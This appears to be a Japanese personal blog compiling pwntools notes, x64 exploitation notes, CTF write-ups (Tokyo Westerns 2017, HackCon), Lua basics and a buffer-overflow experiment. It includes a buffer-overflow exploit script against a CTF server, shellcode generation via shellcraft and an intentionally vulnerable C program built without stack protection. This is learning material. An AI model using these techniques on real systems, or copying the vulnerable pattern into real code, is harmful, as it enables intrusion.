hiziriAI’s blog

自分用雑記

pwntools 使い方

忘れないようにメモする。 公式のDocsとか、関数のdescriptionが優秀なのでそっちを読んだ方が正確だと思う。 でも日本語じゃないと読むのに時間がかかってしまうので日本語でメモする。

基本

基本的な機能の使い方。 プログラムへの入出力。

from pwn import *

# プログラムを実行するprocessを作る
# cwdキーワードで現在のワーキングディレクトリが変更できる
p = process('test_program')
# p = remote('127.0.0.1', 12345) # 127.0.0.1の12345ポートに接続する、APIが同じなのでそっくりそのまま同じように動作する

ret = p.recv() # test_programの出力をEOFまでを受けとる
ret = p.recvline() # 改行までを受けとる、改行が送られないとここで止まるので注意
ret = p.recvline(timeout=0.01) # recv系はtimeoutを設定できる、単位は秒。ハングするのが嫌なら設定しておくといい
ret = p.recvuntil('some output') # 引数の文字列までを受けとる。

# ログとして出力する。context.log_levelに値を設定することで、debug, infoなど出力するログも操作できるので便利
log.info(ret) 

payload = ''
payload += p32(64) # 数値をリトルエンディアンで32ビット長の文字列として変換する。
# これなら'@\x00\x00\x00'になる。
# ほかにもp64なら64ビット長に変換する。
# 逆変換はu32()、符号無し整数としてデコードしてくれる。
payload += 'some shellcodes'

# test_programにshellcodeを送る。文字列ならなんでも。
p.send(shellcode) # 末尾になにもなし、多分EOFが付く
p.sendline(shellcode) # これなら末尾に改行が付く

# 実行すると入出力を直接表示、送信するようになる。
# 相手側でシェルを奪ったときに起動する
p.interactive()

基本的にはこれらを使う。他にも便利機能がたくさんあるけど、これだけでもpwnはできると思う。 人によっては他のコマンドの方を好むかもしれない。

実際の流れとしては、processでプログラムをローカルで起動させる。 場合によってはローカル環境でもremoteを使う。server型とか。
send系で情報をリークさせるかしてrecv系で情報を取得し、payloadを構築していく。 最後にシェルが取れるような場合にはinteractiveで直接シェルとやりとりする。

elf

人によってはIDAとかobjdumpとかradare2を使ってすませることもあるが、pwntoolsからでもelfの解析ができる。

from pwn import *

elf = ELF('program') # 解析、ログにセキュリティ機構などの解析結果も表示される。
# 多分pwntoolsに付いてくるchecksecと同じ出力

elf.plt['printf'] # plt領域にある関数のアドレスを辞書型で保持してる。
# ハードコーディングせずにすむのでこっちの方が好き。
# ただし間違ってることがあるっぽい?理解が足りなくて勘違いしてるだけかもしれない
# 心配ならobjdumpとかreadelfとかでも調べよう

elf.got['printf'] # 同じようにgot領域も調べられる

他にも色々な情報が参照できるので最初に解析用のスクリプト作っておくのもいいかもしれない。 dir()でメンバの名前見ればだいたい何の情報か想像も付くので忘れても安心。

context

contextはconfigみたいな感じに解析のための情報を渡すことができる。

from pwn import *

context.arch = 'amd64' # 解析するプログラムのアーキテクチャを設定できる、初期値は多分i386
context.log_level = 'debug' # ログのレベルを設定できる。普段は多分infoぐらいが表示される
# pwntoolsのバグっぽいのに遭遇したらdebugにして見てみよう

ちょっと変わったバイナリを解析するときは、一度こっちの設定を確認して、適切かどうか見るといい。

shellcode

shellstormでいいけど、pwntoolsにも簡単なものはあるので楽になるかもしれない。 自分で書くという選択肢はない。

from pwn import *

asm(shellcraft.sh()) # shellcraft.sh()はシェルを開くアセンブリコードを返す、asm()はそれをアセンブルする

asmを使えば自作shellcodeを使うこともできるので、shellcodeを書く練習にももってこい。 shellcraftのサブモジュールにはアーキテクチャやOSに対応したモジュールがあり、様々シェルコードが収録されているみたいなので一度探してみると役に立つかもしれない。

debug

自分の環境では動かなかったが、gdbデバッグもできるらしい。

from pwn import *

context.terminal = ['terminator', '-e']
p = process('program')
gdb.attach(p)
gdb.debug('program')

おわり

使ったことのある機能はこれぐらい。 他にも色々便利そうな、書式文字列攻撃用のモジュールだったりflag管理用のモジュールだったりがあるので、公式を見ておくとワクワクできる。 使い方は分かりません。使われてない機能だとバグっぽいのもしばしばあったりするけれど、そういうときは他のコマンドで補おう。

X64 pwn

x64でのpwn

基本はx86と同じだが、いくつかの点で違いがある。
https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/を参考にしている。

引数の渡し方

x86では関数呼び出しするときにスタックに値をpushして引数を渡していたため、スタックの値を書き変えれば引数を操作できた。 x64ではレジスタに引数の値を指定するため、引数の操作がやりにくくなっている。

レジスタ

64bit長になった。 つまり、pushやpopは8バイト単位で動作し、アドレス長は8バイトになっている。

アドレス

バッファオーバーフローでリターンアドレスを書き換えEIPを奪うのはpwnでは基本テクニックである。 x86では長い文字列を渡しバッファを溢れさせると、eipの値が0x41414141などになっているのがgdbなどで確認できる。 しかし、x64ではアドレス空間が64bitに拡張され、有効な命令アドレスの範囲は0x00007FFFFFFFFFFFまでに制限されている。 したがって、リターンアドレスを書き換え過ぎるとripが書き換えられないでプログラムがSIGSEGVされる。 ret命令時のスタックトップがリターンアドレスとして読み込まれるので、その値からオフセットを割り出し適切な長さに調節するとよい。

環境変数

環境変数はプログラム実行時にスタックに積まれているので、環境変数を設定しそこに飛ばす方法がある。

ROP

レジスタを介して引数を渡すため、ROPを使う場面が増える

Tokyo Westerns CTF3rd 2017 Writeup

Tokyo Westerns CTF3rd 2017 writeup

ほぼWarmupだけ(Webは解けてない)。 200ptで142位でした。

Just do it

Pwn

プログラムの動作はパスワードの入力を求め、あってるかどうかを判定するものである。 とりあえず、stringsで探したら見つかったパスワードを入力してみたが、単にCorrect!と表示されただけだった。 どう考えてもflagじゃない。

アセンブルしてコードを見ながらgdbで解析してみるとflag.txtを開いてその内容をグローバル変数にに入れていることが分かった。これを表示させる必要がある。

0x08048618      68d3870408     push str.flag.txt           ; 0x80487d3 ; "flag.txt"
0x0804861d      e87efeffff     call sym.imp.fopen          ; file*fopen(const char *filename,
0x08048622      83c410         add esp, 0x10
0x08048625      8945f0         mov dword [local_10h], eax
...
0x08048648      83ec04         sub esp, 4
0x0804864b      ff75f0         push dword [local_10h]
0x0804864e      6a30           push 0x30                   ; '0' ; '0'
0x08048650      6880a00408     push obj.flag               ; 0x804a080
0x08048655      e8e6fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)

しばらく適当にパスワードを入力すると、fgetsで文字数制限しているのにプログラムが落ちることが分かった。 gdb-pedaで落ちたときの状況を調べてみると、最後の不正解のメッセージを表示するところで不正なアドレスが指定されているらしかった。 入力した文字と照し合わせると、20文字目からの値がアドレスに格納されることが分かった。 checksecするとPIEはなかったので多分アドレスは固定のはず(かな?)。 なので、20文字入力したあと、flagが格納された変数のアドレスを入力すればflagが表示されるはず。 コードはこれ。

from pwn import *
import time

host = 'pwn1.chal.ctf.westerns.tokyo'
port = '12345'
adrs = 0x804a080
i = 20
shellcode = 'A' * i + p32(adrs) + '\x00'

# p = process("./just_do_it")
p = remote(host, port)
log.info(p.recvuntil('\n'))
log.info(p.recvuntil('\n'))
log.info(i)
p.sendline(shellcode)
time.sleep(1)
print(p.recvuntil('\n'))

成功。 でもかなり時間をかけてしまった、pwnに慣れたい。

Rev Rev Rev

Rev

かなり分からなかった。 strippedなので関数名とか全然分からない。 とりあえず逆アセンブルしてみたところ、4つの関数で入力を加工したあと、プログラム内の値と比較して一致すればいいらしい。 最初の関数(0x080486b9)は読み込んだ改行文字をヌル文字に置き換えている。

2つ目の関数(0x080486db)は入力された文字列を逆順にしている。

3つ目の関数(0x08048738)はビット演算とシフトを繰り返して文字を変換している。 Cのコードにするとこんな感じの処理をしている。逆算する方法が分からなかった。

void fcn38(char* arg_8h){
  char* local_4h = arg_8h;
  char local_5h;

  while(*local_4h != '\0'){
    local_5h = *local_4h;
    local_5h = (((unsigned int) local_5h & 0x55) * 2) | ((local_5h >> 1) & 0x55);
    local_5h = (((unsigned int) local_5h & 0x33) << 2) | ((local_5h >> 2) & 0x33);
    local_5h = ((unsigned int) local_5h << 4) | (local_5h >> 4);
    local_4h[0] = local_5h;
    
    local_4h++;
  }
}

4つ目の関数(0x080487b2)文字毎にnotを取っているだけだった。

gdbで一致させるデータ列を確認した。16進数値でこんな感じ。

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

静的に解く方法が思い付かなかったので力技でやる。 gdbを使ってひたすら入力を変換させて、どの文字がどの値になるのかひたすら調べた。 一度に複数文字入力してもいいのでそこまで手間じゃなかった。 解くのに十分なだけのデータが揃ったところで入力を生成させて、送信、そして成功。

変換テーブルを含んだコードはこんな感じ。

table = {}
table['-'] = hex(0x4b)
table['.'] = hex(0x8b)
table['/'] = hex(0x0b)
table['0'] = hex(0xf3)
table['1'] = hex(0x73)
table['2'] = hex(0xb3)
table['3'] = hex(0x33)
table['4'] = hex(0xd3)
table['5'] = hex(0x53)
table['6'] = hex(0x93)
table['7'] = hex(0x13)
table['8'] = hex(0xe3)
table['9'] = hex(0x63)
table[':'] = hex(0xa3)
table[';'] = hex(0x23)
table['<'] = hex(0xc3)
table['='] = hex(0x43)
table['>'] = hex(0x83)
table['?'] = hex(0x03)
table['@'] = hex(0xfd)
table['A'] = hex(0x7d)
table['B'] = hex(0xbd)
table['C'] = hex(0x3d)
table['D'] = hex(0xdd)
table['E'] = hex(0x5d)
table['F'] = hex(0x9d)
table['G'] = hex(0x1d)
table['H'] = hex(0xed)
table['I'] = hex(0x6d)
table['J'] = hex(0xad)
table['K'] = hex(0x2d)
table['L'] = hex(0xcd)
table['M'] = hex(0x4d)
table['N'] = hex(0x8d)
table['O'] = hex(0x0d)
table['P'] = hex(0xf5)
table['Q'] = hex(0x75)
table['R'] = hex(0xb5)
table['S'] = hex(0xd5)
table['T'] = hex(0x55)
table['U'] = hex(0x95)
table['V'] = hex(0x65)
table['W'] = hex(0x15)
table['X'] = hex(0xe6)
table['Y'] = hex(0x65)
table['Z'] = hex(0xa5)
table['['] = hex(0x25)
table['\\'] = hex(0xc5)
table[']'] = hex(0x45)
table['^'] = hex(0x85)
table['_'] = hex(0x05)
table['`'] = hex(0xf5)
table['a'] = hex(0x79)
table['b'] = hex(0xb9)
table['c'] = hex(0x39)
table['d'] = hex(0xd9)
table['e'] = hex(0x59)
table['f'] = hex(0x99)
table['g'] = hex(0x19)
table['h'] = hex(0xe9)
table['i'] = hex(0x69)
table['j'] = hex(0xa9)
table['k'] = hex(0x29)
table['l'] = hex(0xc9)
table['m'] = hex(0x49)
table['n'] = hex(0x89)
table['o'] = hex(0x09)
table['p'] = hex(0xf1)
table['q'] = hex(0x71)
table['r'] = hex(0xb1)
table['s'] = hex(0x31)
table['t'] = hex(0xd1)
table['u'] = hex(0x51)
table['v'] = hex(0x91)
table['w'] = hex(0x11)
table['x'] = hex(0xe1)
table['y'] = hex(0x61)
table['z'] = hex(0xa1)
table['{'] = hex(0x21)
table['|'] = hex(0xc1)
table['}'] = hex(0x41)
table['~'] = hex(0x81)

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

rev_table = {}
for k, e in table.items():
    rev_table[e] = k

a = list(map(lambda x: rev_table[x], l))

ans = ""
for c in a:   
    ans += c

print(ans)

変換テーブルがでかい。

Palindromes Pairs - Coding Phase -

PPC

pythonでやった。 問題文の解釈で時間食ってしまった。 実装は単純に先頭と末尾から比較していくだけ。 これがベストな方法なのかな? コードはこんな感じ。

from pwn import *


def copy(lst):
    lst2 = []
    for i in lst:
        lst2.append(i)

    return lst2


def is_palindrome(s):
    head = 0
    tail = len(s) - 1
    while(head < tail):
        if(s[head] != s[tail]):
            return False
        head += 1
        tail -= 1

    # print(s)
    return True


def get_palindromes_set(lst):
    palin_set = set()
    for e in lst:
        if is_palindrome(e):
            palin_set.add(e)
    return palin_set


def get_palindromes_num(lst):
    count = 0
    length = len(lst)

    for i in range(0, length):
        elm = lst[i]
        rest = lst[i+1:length]

        if len(rest) != 0:
            head_list = [is_palindrome(elm + e) for e in rest]
            last_list = [is_palindrome(e + elm) for e in rest]
            count += head_list.count(True) + last_list.count(True)

        if is_palindrome(elm + elm):
            count += 1

    return count

host = 'ppc1.chal.ctf.westerns.tokyo'
port = '8765'
p = remote(host, port)

log.info(p.recvuntil('----- START -----\n'))
for _ in range(50):
    log.info(p.recvuntil('\n'))
    log.info("num:" + p.recvuntil('\n'))
    words = p.recvuntil('\n')
    log.info(words)

    words = words.strip().split(" ")
    ans = get_palindromes_num(words)
    log.info(str(ans))
    p.sendline(str(ans))
    log.info(p.recvuntil('\n'))
    p.recvuntil('\n')

p.interactive()

lisp使いたくなった、python2だとオブジェクトを変更するからやりにくく感じる。 そもそもコードがpythonっぽくない、修行足りてない。 まあ一応解けたので良しとしよう。

My Simple Cipher

Crypto

7zの解凍方法を忘れ無駄に悩む。 cipher.pyの暗号化方法自体は単純にキーと前回の値を使って値を加算しmodを取るだけの単純なもの。 逆算自体は無理なのかな?IPUSIRONさんの本で勉強しないと。

注目するべきなのは平文と暗号文で文字の位置は同じであること、"|“があること、keyが13文字で固定なことである。

この"|“が固定であるおかげで、この位置で使われた鍵の文字は特定することができる。 暗号化に用いられたmessage[i], key[i % 13], encrypted[i]のうちmessage[i]とencrypetd[i]が判明しているので、以下のようになるはずである、多分。

(encrypted[i+1] - encrypted[i] - message[i]) % 128 = key[i % 13]

この位置だと、最初が0として22文字目が該当する。 最初の一文字はランダム与えられた初期化ベクトルのような値なので無視すると、21文字目である。 13でmodを取ると8、従って鍵の8文字目が分かる。

次に鍵の8文字目で暗号化されている部分に着目する、この部分は復号化可能である。 ここで、暗号文の最後に鍵が含まれていることを利用する。 鍵の8文字目で暗号化されている部分を復号すると鍵の別の場所の文字が分かる。 これを繰り返して鍵全体を復号化し、それを用いてencryptedを復号化する。 あとは単純作業になる。

自動化できるけど13文字ならインタープリターでやった方が速いかと思って手元でメモを取りながらやった。 あとで自動化する。

全体の復号化をする関数だけコード書いた。

def decrypt(key, cipher):
    dec = ""
    tmp = []
    rev_c = list(cipher)
    rev_c.reverse()

    for i in range(len(rev_c) - 1):
        tmp.append(ord(rev_c[i]) - ord(rev_c[i+1]))

    tmp.reverse()

    for i in range(len(tmp)):
        dec += chr((tmp[i] - ord(key[i % 13])) % 128)

    return dec

pplc

PPC

唯一warmup以外で解けた問題。 3つフラグがあって、python特有のメタプログラミングネタの問題。

private

ひとつめの問題。

プライベートなメソッドについての問題。 pythonにはアクセス修飾子がないが、接頭語と接尾語にアンダースコア(であってたかな、_のこと)を使うことでコーディング規約として扱いを変えたりする。 接頭語として__があって、接尾語がないメソッドは名前が_ClassName__methodnameとなる。 つまり、p._Private__flag()を送信すればいいはずなのだが、assert文でPrivateが含まれる文字列は弾かれてしまう。

ここでpythonの関数オブジェクトに対して()を付けると呼び出せるという性質を利用する。 つまり、こんな感じのことができる。

def func():
    return 1
    
f = func # ここで関数オブジェクトがfに格納される
f() # 1が返される

そして、文字列をpythonコードとして実行し結果を返すeval関数と、クラスやオブジェクトなどメンバを文字列として取得するdir関数を組み合わせて、_Private__flagの関数オブジェクトを取得する。 これを()で呼び出せばフラグを表示できるはず。

手元の環境でdir(p)してみると、最初の要素に_Private__flagがあったので、とりあえず最初の要素であると仮定してやってみた。 最終的な文字列はこんな感じ。

eval("p."+dir(p)[0])()

成功した。

local

ふたつめの問題。

今度は関数内で定義されるローカル変数を参照できるかという問題。 get_flagなのにflag返さねえじゃねえかとは思った。

ここで、関数オブジェクトの構造を観察してみる。 実はさっきの問題を解くまでよく知らなかった。 dir関数を使ってメンバを見てみるとfunc_codeといういかにもコードがありそうなメンバがあった。 どうやらpythonのコードの情報を持っているようで、バイトコンパイルされたコードなどが含まれている。

どうやってpythonが作られているのかが読み取れる気がしてくる。

このcodeオブジェクトに対してもdirでメンバを読み取ると、co_constsという定数値がありそうな名前がある。 表示してみるとビンゴだった。

これで成功。 送信した文字列はこんな感じ。

get_flag.func_code.co_consts

comment

みっつめの問題

これは知っていた、パッケージを作ったときに丁度その話を見た。 パッケージの一番先頭にある文字列は__doc__に格納され、help関数で表示できるようになる。 関数などでも、定義の一番最初に置いた文字列がこのように取得できる。

helpだと対話的環境でしか表示されないので、__doc__を表示することにする。

成功、送信文字列はこんな感じ。

comment_flag.__doc__

おわり

pythonがなければwarmupだけで終わっていた。

Emacs用のRocket.chatクライアントなかったから書いた

rocket-chat.el

タイトル通り。
リンクはここ

そのうちUsage書く。

Hackconに参加した

HackCon writeup

72位、一人じゃキツイなぁ。 Web問全然分からなかった。

rev

Key-gen1

match_meという実行ファイルが渡されるので、リバーシング。 見てみると最後の方にstrncmpしてるところがあるので、gdbで実行しつつ入力によって引数がどのように変化するか観察した。 しばらくやってると、2文字の入力が1文字にマッピングされているようであると分かった。 その上、位置に関係なく同じ2文字は同じ1文字に変換されるようなので、必要な文字に変換される組合せを見つければいい。 しかも、f以上の文字は使えないことが分かった(実際は16進数として解釈されているらしいことに後で気付いた)。 対応する文字に変換される組合せを探して、サーバに入力するとフラグが返された。

Key-gen2

match_meに受理される10個のキーを探す問題。 16進数に解釈されることに気付いたので、6組の異なる変換テーブルを作り、適当に組合せた。 これで通った。

crypto

RSA-2

今度はn, e, cだけが渡される。 eの値が異常に大きく、wiener-attackが出来そう。 求めたdで正常に復号化できた。

(ql:quickload :hackrsa)
;; hackrsa is in my tool set, https://github.com/4hiziri/tktools

(setf d (hackrsa:wiener-attack n e))
(setf m (mod-expt c d n))
(hackrsa:decode m)

Bacche

Rotate it

crypto
“q4ex{ju0_tvir$_pn3fne_va_PGS???}p0qr"が渡されるので、ぱっと見でrot13だと分かる。 flag形式が"d4rk{xxx}c0de"なので、鍵は13で良さそう。 単純にnkfでrot13してフラグゲット。

# echo "q4ex{ju0_tvir$_pn3fne_va_PGS???}p0qr" | nkf -r

ALL CAPS

crypto

“OF EKBHMGUKZHJB, Z LWALMOMWMOGF EOHJTK OL Z DTMJGX GY TFEGXOFU AB NJOEJ WFOML GY HSZOFMTVM ZKT KTHSZETX NOMJ EOHJTKMTVM, ZEEGKXOFU MG Z YOVTX LBLMTD; MJT "WFOML” DZB AT LOFUST STMMTKL (MJT DGLM EGDDGF), HZOKL GY STMMTKL, MKOHSTML GY STMMTKL, DOVMWKTL GY MJT ZAGRT, ZFX LG YGKMJ. MJT KTETORTK XTEOHJTKL MJT MTVM AB HTKYGKDOFU MJT OFRTKLT LWALMOMWMOGF. MJZFQL YGK KTZXOFU MJZM, JTKT'L BGWK YSZU: X4KQ{MKB_YZEEJ3_OYMJOL_MGG_LODHTS}E0XT"

渡された文章、フラグ形式っぽいものもあり、一文字だけのZが複数回出てたり、記号はそのままだったりすることから単一換字式暗号かと思った。 とりあえず、フラグ形式のところは確定できるので確定させる。

“OF crBHMGUrZHJB, Z LWALMOMWMOGF cOHJer OL Z DeMJGd GY eFcGdOFU AB NJOcJ WFOML GY HSZOFMeVM Zre reHSZced NOMJ cOHJerMeVM, ZccGrdOFU MG Z YOVed LBLMeD; MJe "WFOML” DZB Ae LOFUSe SeMMerL (MJe DGLM cGDDGF), HZOrL GY SeMMerL, MrOHSeML GY SeMMerL, DOVMWreL GY MJe ZAGRe, ZFd LG YGrMJ. MJe receORer decOHJerL MJe MeVM AB HerYGrDOFU MJe OFRerLe LWALMOMWMOGF. MJZFkL YGr reZdOFU MJZM, Jere\‘L BGWr YSZU: d4rk{MrB_YZccJ3_OYMJOL_MGG_LODHeS}c0de"

そうするとZreだったりJereだったり英単語が類推できる箇所だったりが出てくるので、それを埋めていく作業を繰り返す。 文字の出現頻度でやってもいいが、あまり参考にならなかった。 pythonでdict使って変換テーブルを作って、逐一復号しながら解いた。 復号すると、暗号学における単一換字式暗号の説明みたいな文章とフラグがでてくる。

high bass

crypto

“VGhpcyB3YXMgaW4gYmFzZS02NDogZDRya3t0aGF0XyRpbXBsXzNuMHVnaDRfVX1jMGRl"が渡される。 よく分からなかったのでBase64したら解けた。 印字可能で空白がないなら取り敢えず試す。

flag.txt

web

URLが渡されるので行ってみると、リンクが一つだけあった。 踏んでみるとロボットが人間をどうたらみたいな外部のサイトに飛ばされた。 外部サイトにフラグはもちろん無いので戻る。 リンク先にロボットの話題が出てたので、robots.txtを開いてみる。 ハッシュ値みたいな名前のディレクトリがDisallowになっていた。 問題のタイトルがflag.txtだったので、そのディレクトリ直下のflag.txtにアクセスしたらflagがでてきた。

one

なんだろう、rev?

バイナリファイルを渡されたのでfileで形式を調査する。 elf形式の実行ファイルなので、とりあえず実行する(アブナイ)。 フラグが出力された。

cave

crypto

象形文字みたいなものの画像が渡される。 名前が思い出せなかったが、これはヒエログリフである。 ヒエログリフタイピング的なサイトが見つかり、おそらくそのサイトで生成したであろう問題であることが分かった。 とりあえず復号するとflag_isなんたらかんたらみたいになるので、flag_isのあとをフラグの形式にして提出すると通った。

needle

foren

zip形式のファイルを渡され、解凍するとクソ長いテキストファイルが出てくる。 フラグ形式でgrepしたら該当する部分があったので、提出して終了。

RAS-1

crypto
RSAに関する暗号問題。 p, q, c, eが渡されるので、普通に復号するだけでいい。 ed = 1 mod (p - 1)(q - 1)となるdを求めて、cd mod pqを計算すると平文mが得られる。 ed = 1 mod (p - 1)(q - 1)は拡張ユークリッドの互除法で求められる。 ed + k(p-1)(q-1) = 1となるk, dを求めればいい。この式のmodを取れば元の式になることが分かる。

(setf p 152571978722786084351886931023496370376798999987339944199021200531651275691099103449347349897964635706112525455731825020638894818859922778593149300143162720366876072994268633705232631614015865065113917174134807989294330527442191261958994565247945255072784239755770729665527959042883079517088277506164871850439)

(setf  q 147521976719041268733467288485176351894757998182920217874425681969830447338980333917821370916051260709883910633752027981630326988193070984505456700948150616796672915601007075205372397177359025857236701866904448906965019938049507857761886750656621746762474747080300831166523844026738913325930146507823506104359)

(setf c 8511718779884002348933302329129034304748857434273552143349006561412761982574325566387289878631104742338583716487885551483795770878333568637517519439482152832740954108568568151340772337201643636336669393323584931481091714361927928549187423697803637825181374486997812604036706926194198296656150267412049091252088273904913718189248082391969963422192111264078757219427099935562601838047817410081362261577538573299114227343694888309834727224639741066786960337752762092049561527128427933146887521537659100047835461395832978920369260824158334744269055059394177455075510916989043073375102773439498560915413630238758363023648)

(setf  e 65537)

(defun extend-gcd (a b)
  "return (x . y) | ax + by = 1"
  (flet ((next-val (x1 x2 q)
       (- x1 (* x2 q))))
    (loop for q = (/ (- a (mod a b)) b) then (/ (- z1 (mod z1 z2)) z2)
      for ztmp = (next-val a b q) then (next-val z1 z2 q)
      for z1 = a then z2
      for z2 = b then ztmp
      for xtmp = (next-val 1 0 q) then (next-val x1 x2 q)
      for x1 = 1 then x2
      for x2 = 0 then xtmp
      for ytmp = (next-val 0 1 q) then (next-val y1 y2 q)
      for y1 = 0 then y2
      for y2 = 1 then ytmp
      when (= z2 1)
        do (if (< x2 0)
           (return (cons (+ x2 b) (- y2 a)))
           (return (cons x2 y2))))))

(defun mod-expt (base exp modulus)
  "more effective expotential and modulus.
calculate mod at every step of exp."
  (if (< exp 0) ;; if exp < 0, cannot calc mod so simply return base^exp
      (expt base exp)
      (loop for acc = 1 then (if (evenp e) acc (mod (* acc b) modulus))
        for b = (mod base modulus) then (if (evenp e) (mod (expt b 2) modulus) b)
        for e = exp then (if (evenp e) (/ e 2) (1- e))
        when (= e 0)
          do (return acc))))

(defun decode (encoded-num)
  (labels ((inner-loop (num acc)
         (if (> num 0)
         (inner-loop (truncate num (expt 2 8)) (cons (mod num (expt 2 8)) acc))
         acc)))
    (inner-loop encoded-num nil)))

stego

standard stego

画像にデータを隠すpythonプログラムと画像ファイルが落ちてくるので、逆算する。 どうやら文字列をバイナリ表現に変換して、画像ファイルの先頭からRGBのいずれかの末尾に1bitずつセットしているようである。 なので、画像の先頭から対応するRGBの値の末尾のbitを取り出すプログラムを書いて、マーカービット列の間を取り出した。 あとは1byte単位で取り出して文字に戻すだけである。

from PIL import Image


def getLSB(target):
    binary = str(bin(target))
    return binary[-1]


def binToAscii(bin):
    ret = ''
    length = len(bin) // 8
    for i in range(length):
        binary = bin[i*8:i*8 + 8]
        ret += chr(int(binary, 2))

img = Image.open('Secret.png')
pixels = list(img.getdata())
mode = img.mode
ret = []
for i in range(10000):
    newPixel = list(pixels[i])
    ret.append(getLSB(newPixel[i % len(mode)]))
    
header, trailer = 2 * "11001100", 2 * "0101010100000000"
bin_str = ""
for b in ret:
    bin_str += b

tmp = bin_str[:bin_str.find(trailer)]
tmp = tmp.replace(header, '')

まとめ

全然分からんかった。

Lua

basic

コメント

-- comment

--[[
multiple line comment
ok.
]]

変数

-- num
x = 10
x = 1.0
x = 10e-1

-- string
s = "AAA"
s = 'AAA\n'

-- function
-- table
t = {}

-- boolean
b = true
b = false

テーブル

t = {}
t["str"] = "string"
t["boolean"] = false
t["number"] = 1

-- number is accepted as index
-- index should start from 1, lua expects that beginning of index is 1.
t[1] = "one"
t[2] = true
t[3] = 3

イテレータ

t = {}
t["1"] = "one"
t["2"] = "two"
t["3"] = "three"

for i, val in pairs(t) do
    print(val)
end   

t[1] = "one"
t[2] = "two"
t[3] = "three"

for i, val in ipairs(t) do -- using ipairs
    print(val) -- output "one", "two", "three"
end

演算子

-- math
1 + 1
1 - 1
1 * 1
1 / 1
1 ^ 1
1 % 1

-- cmp
1 < 1
1 > 1
1 <= 1
1 >= 1
1 == 1
1 ~= 1

-- logical
true and true
true or false
not false

-- string
"str1" .. "str2" -- "str1str2"

if

a = 3
b = 2

if a > b then
    print("a")
end

if a > b then
    print("a")
elseif a == b then
    print("ab")
else
    print("b")
end   

for

for i = 0, 4, 1 do
    print(i) -- 0, 1, 2, 3, 4
end

a = 0
b = 4
while a <= b do
    print(a) -- 0, 1, 2, 3, 4
    a = a + 1
end

a = 0
b = 5
repeat
    print(a) -- 0, 1, 2, 3, 4
    a = a + 1
until a == b

while true do
    break -- break should be before end
end

while true do
    do
        break
    end
    
    a = 10
end

関数

function funcname (arg)
    return arg + 1
end

function returnmultival(arg1, arg2)
    return arg1, arg2
end

a, b = returnmultival(1, 2)

-- extendable arg
function func(...)
    t = {...}
end

-- lambda
f = function(args)
       return args
    end
    
f(3)

コルーチン(co-routine)

function col(a, b, c)
    sum = 0
    sum = sum + a
    coroutine.yield(sum)
    sum = sum + b
    coroutine.yield(sum)
    sum = sum + c   
    return sum
end  

local co = ccoroutine.wrap(col)
ret = co(3, 2, 1) -- return a ?
ret = co(3, 2, 1) -- return a + b
ret = co(3, 2, 1) -- return a + b + c

バッファオーバーフローでeipが書き換えられない

自分の環境で脆弱性のあるプログラムを再現できなかった

pwnの練習をしようとして脆弱性のあるプログラムを書いたら、何故かその脆弱性を(幸か不幸か)exploitできなかった。 解決するまでに結構かかってしまった上、日本語の情報が見つからなかったから残しておく。 参考というか、丸パクリ元はここ

環境

自分の環境は以下の通りである。

x86_64 GNU/Linux Ubuntu LTS-16.04

やろうとしたこと

やろうとしていたことはバッファオーバーフローによるeipを書き換えだったけど、実際にやるとクラッシュしてもeipが書き換えられてなかった。 プログラム自体はfgetsしてバッファ書き換えるだけの簡単もので、32bitアーキテクチャSSPは無効にしていた。 ASLRは無効にしてなかったけど、gdbで実行していたので無効の状態のはず。

#include <stdio.h>

int main(int argc, char** argv){
  char buffer[32];
  
  fgets(buffer, 128, stdin);
  
  return 0;
}

コンパイルは、gcc -m32 -fno-stack-protector -o overflow overflow.c

gdbで調べたり、逆アセンブルして解析した結果、どうもなんらかのセキュリティが働いているような感じだった。 逆アセンブルしてみてみると、main関数の最初とret周りの処理が怪しい。

0804843b <main>:
 804843b: 8d 4c 24 04           lea    ecx,[esp+0x4] ;; 1
 804843f: 83 e4 f0                 and    esp,0xfffffff0
 8048442:  ff 71 fc                 push   DWORD PTR [ecx-0x4]
 8048445:  55                     push   ebp
 8048446:  89 e5                   mov    ebp,esp
 8048448:  51                     push   ecx
 8048449:  83 ec 24               sub    esp,0x24
 804844c: a1 20 a0 04 08         mov    eax,ds:0x804a020
 8048451:  83 ec 04               sub    esp,0x4
 8048454:  50                     push   eax
 8048455:  68 80 00 00 00         push   0x80
 804845a: 8d 45 d8              lea    eax,[ebp-0x28]
 804845d: 50                     push   eax
 804845e: e8 ad fe ff ff           call   8048310 <fgets@plt>
 8048463:  83 c4 10               add    esp,0x10
 8048466:  b8 00 00 00 00           mov    eax,0x0
 804846b: 8b 4d fc                 mov    ecx,DWORD PTR [ebp-0x4] ;; 2
 804846e: c9                       leave  
 804846f: 8d 61 fc              lea    esp,[ecx-0x4] ;; 3
 8048472:  c3                       ret    
 8048473:  66 90                 xchg   ax,ax
 8048475:  66 90                 xchg   ax,ax
 8048477:  66 90                 xchg   ax,ax
 8048479:  66 90                 xchg   ax,ax
 804847b: 66 90                 xchg   ax,ax
 804847d: 66 90                 xchg   ax,ax
 804847f: 90                     nop
  • 1で[esp+0x4]をecxに格納
  • 2でecxが復帰
  • 3のret前でespに[ecx-0x4]を格納

こんな感じの処理がされているらしい。 つまり、一番最初に格納したスタックポインタの値をleaveとretの間で復帰させることで、書き換えられたリターンアドレスがeipに格納されることを防いでいるのではないかと思われる。

